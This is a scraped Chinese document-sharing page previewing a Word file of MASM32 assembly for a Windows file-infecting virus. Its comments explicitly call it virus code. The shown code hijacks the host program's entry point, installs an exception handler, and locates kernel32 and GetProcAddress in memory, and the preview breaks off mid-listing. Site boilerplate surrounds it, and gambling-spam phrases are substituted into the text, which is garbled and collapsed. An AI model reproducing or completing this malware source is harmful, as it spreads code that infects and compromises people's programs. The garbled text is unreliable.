immunity代码(柴婷婷).docx

  1. 1、本文档共18页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
immunity代码(柴婷婷)

.386.model flat,stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\user32.incincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\user32.lib;这是一些相关的定义,;(上面的)--.datamcaption db 你好!!!!!!!!!!1!,0mtitle db *标题*,0; 主程序所用到的一些变量;(上面的)--.codehost_start:invoke MessageBox,NULL,offset mcaption,offset mtitle,64invoke ExitProcess,0;主程序代码,只是简单的打一串字符而已。;病毒代码运行完后,就会跳到此处执行。;(上面的)--Immunity SEGMENT PARA USE32 Immunityassume cs:Immunity,ds:Immunityvstart:push ebppush espcall nstartnstart: ;;;;;;;;;;;;;pop ebpsub ebp,offset nstart;病毒中常用的一种方法。得到一个偏移差。;程序后面用到的所有变量都需要加上个这偏移差;(上面的)--assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.lea ebx, SEH[ebp]push ebxpush fs:[0]mov fs:[0],espmov OldEsp[ebp],esp;=========================; * 更改程序入口地址 *cmp old_base[ebp],0jnz gonextmov old_base[ebp],400000hgonext:cmp old_in[ebp],0jnz changemov old_in[ebp],1000hchange:mov eax,old_base[ebp]mov des_base[ebp],eaxmov eax, old_in[ebp]mov des_in[ebp],eax;变量定义的的意思见后方;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中;由于程序中old_base_in有别的用途,因此将此地址存放到;des_base_in,以便最后跳回原程序入口。;(上面的)--;获得KERNEL32地址及所需的API函数地址mov eax,[esp+10h] ;//取Kernel32返回地址and ax,0f000hmov esi,eax ;//得到Kernel.PELoader代码位置(不精确)LoopFindKernel32: sub esi,1000h cmp word ptr[esi],ZM ;//有哪些信誉好的足球投注网站EXE文件头 jnz short LoopFindKernel32GetPeHeader: movzx edi,word ptr[esi+3ch] add edi,esi cmp word ptr[edi],EP ;//确认是否PE文件头 jnz short LoopFindKernel32 ;esi-kernel32,edi-kernel32 PE HEADER ;//////////////////////////////////////////////////查找GetProcAddress函数地址 mov vKernel32[ebp],esiGetPeExportTable: mov ebx,[edi+78h];4+14h+60h add ebx,vKernel32[ebp] ;//得到输出函数表 mov vExportKernel[ebp],ebx push 14 call aGetProcAddr db GetProcAddress,0aGetProcAddr: lea eax,GetApiAddress[ebp] call eax or eax,eax jz ExitTimes mov vGetProcAddress[ebp],eax ;得到GetProcAddress地址 lea esi,bGetModuleHandle[ebp] ;获得所有用到的KERNEL32函数的地址 lea edi,vGetModuleHandle[ebp] cldComeOn: lodsd add eax,ebp push eax push vKe

文档评论(0)

xcs88858 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:8130065136000003

1亿VIP精品文档

相关文档